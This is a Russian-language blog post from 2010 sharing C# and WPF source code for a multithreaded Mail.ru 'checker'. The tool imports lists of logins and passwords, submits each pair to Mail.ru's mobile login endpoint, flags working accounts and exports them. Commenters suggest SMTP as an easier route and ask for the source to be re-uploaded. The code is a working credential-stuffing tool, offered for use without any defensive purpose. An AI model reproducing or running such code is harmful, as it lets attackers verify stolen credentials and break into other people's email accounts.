MailRuChekershke
Автор: admin Фев.15.2010 Категория: WPF, Программирование
На выходных хотелось чего-нибудь написать, но при этом чтобы мозг особо и не напрягался.
Тут общаясь со slider’ом понял что у парня проблема. Решил помочь, да и на античате давно нет активности.
Собственно написал ему многопоточный чекер почтовых ящиков для сервиса — Mail.ru (валид/невалид).
Писал на C#, .NET Framework 3.5, Visual Studio 2010 RC1. Заняло 3 часа (+конвертер с его странного формата
).
Использовал WPF (В последнее время все больше на него подсаживаюсь).
Собственно ниже идет исходник.
<window x:Class="MailRuChekershke.MainWindow"
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:obj="clr-namespace:MailRuChekershke"
Title="MailRuChecerkshke (c) W!z@rD (special 4 slider)" Height="350" Width="525">
</window><window .Resources>
<obj :AccountCollection x:Key="accounts" />
</window>
<dockpanel LastChildFill="True">
<statusbar DockPanel.Dock="Bottom" Height="23">
<progressbar Name="TotalProgress_pb" Height="21" Width="100"/>
<textblock Name="Text_tb"></textblock>
</statusbar>
<tabcontrol>
<tabitem Header="Список">
<listview Name="Accounts_lv" ItemsSource="{DynamicResource accounts}">
</listview><listview .View>
<gridview>
<gridviewcolumn Header="Логин" Width="150" DisplayMemberBinding="{Binding Login}"/>
<gridviewcolumn Header="Пароль" Width="130" DisplayMemberBinding="{Binding Password}"/>
<gridviewcolumn Header="Домен" Width="100" DisplayMemberBinding="{Binding Domain}"/>
<gridviewcolumn Header="Валид?" Width="100" DisplayMemberBinding="{Binding IsValid}"/>
</gridview>
</listview>
<listview .ContextMenu>
<contextmenu>
<menuitem Header="Импорт" Click="MenuItem_Click" />
<menuitem Header="Экспорт">
<menuitem Header="Валид" Click="MenuItem_Click_1" />
<separator />
<menuitem Header="Невалид" Click="MenuItem_Click_2" />
<separator />
<menuitem Header="Все" Click="MenuItem_Click_3"/>
</menuitem>
<separator />
<menuitem Header="Запустить" Click="MenuItem_Click_5" />
<separator />
<menuitem Header="Копировать логин" Click="MenuItem_Click_6"/>
<menuitem Header="Копировать пароль" Click="MenuItem_Click_7"/>
<separator />
<menuitem Header="Выход" Click="MenuItem_Click_4" />
</contextmenu>
</listview>
</tabitem>
<tabitem Header="Настройки">
<canvas>
<textblock Canvas.Top="10" Canvas.Left="5">Потоков</textblock>
<textbox Name="ThreadCount_tb" Canvas.Top="7" Canvas.Left="50" Width="40">5</textbox>
</canvas>
</tabitem>
</tabcontrol>
</dockpanel>
И функция проверки, простая, особо не заморачивался.
public class Checker
{
public const string URL = "http://xhtml.wap.mail.ru/cgi-bin/auth?rand=1926924592";
private readonly Account _account;
public Checker(Account acc)
{
_account = acc;
}
private static string SendPost(string postData)
{
var httpWebRequest = (HttpWebRequest)WebRequest.Create(URL);
httpWebRequest.AllowAutoRedirect = false;
httpWebRequest.Method = "POST";
httpWebRequest.UserAgent = "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7 (.NET CLR 3.5.30729)";
httpWebRequest.ContentType = "application/x-www-form-urlencoded";
httpWebRequest.Referer = "http://xhtml.wap.mail.ru/cgi-bin/splash_mail";
var buffer = Encoding.ASCII.GetBytes(postData);
httpWebRequest.ContentLength = buffer.Length;
using (var writer = httpWebRequest.GetRequestStream())
{
writer.Write(buffer, 0, buffer.Length);
}
using (var httpWebResponse = (HttpWebResponse)httpWebRequest.GetResponse())
{
using (var stream = httpWebResponse.GetResponseStream())
{
using (var reader = new StreamReader(stream, Encoding.GetEncoding(1251)))
{
var data = reader.ReadToEnd();
return data;
}
}
}
}
public bool IsValid()
{
var page = SendPost(string.Format("Login={0}&Domain={1}&Password={2}&page=", _account.Login, _account.Domain, _account.Password));
return page.IndexOf("title=\"wait...\"", StringComparison.InvariantCultureIgnoreCase) != -1;
}
}

Февраль 25th, 2010 on 02:45
А зачем было c http заморачиваться?
SMTP для этих целей не проще заюзать?
ЗЫ: слаю приветы)
Февраль 28th, 2010 on 18:28
об smtp даже не подумал =\
Февраль 24th, 2011 on 11:54
перезалей исходники